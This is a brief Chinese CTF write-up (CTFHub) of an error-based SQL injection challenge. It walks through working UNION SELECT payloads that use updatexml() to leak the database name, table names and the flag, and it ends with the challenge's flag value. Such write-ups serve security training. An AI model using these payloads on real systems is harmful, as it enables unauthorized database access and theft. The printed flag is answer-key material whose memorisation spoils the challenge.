报错注入
- 输入1,返回正常
- 输入 1’ ,出现报错提示
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
? 可知在有 ’ 字符型闭合符时会产生报错
-
使用 order by 查询字段数
结果在字段数为3时产生报错
-
使用select 1,2显示查询正确
-
使用 updataxml() 函数迫使数据库返回报错信息并爆出库名
1 union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1) #
// 使用0x7e的原因是0x7e为符号的16进制形式,而在mysql中通常语法正常运行,所以会在此处产生错误信息,在报错中带出想要的sql语句运行结果
-
爆出库名后爆出表名
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1) #
-
爆出表名后得出表中数据
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1) #
- get flag
ctfhub{3cc4a11d0cf3f163bcf6adf1}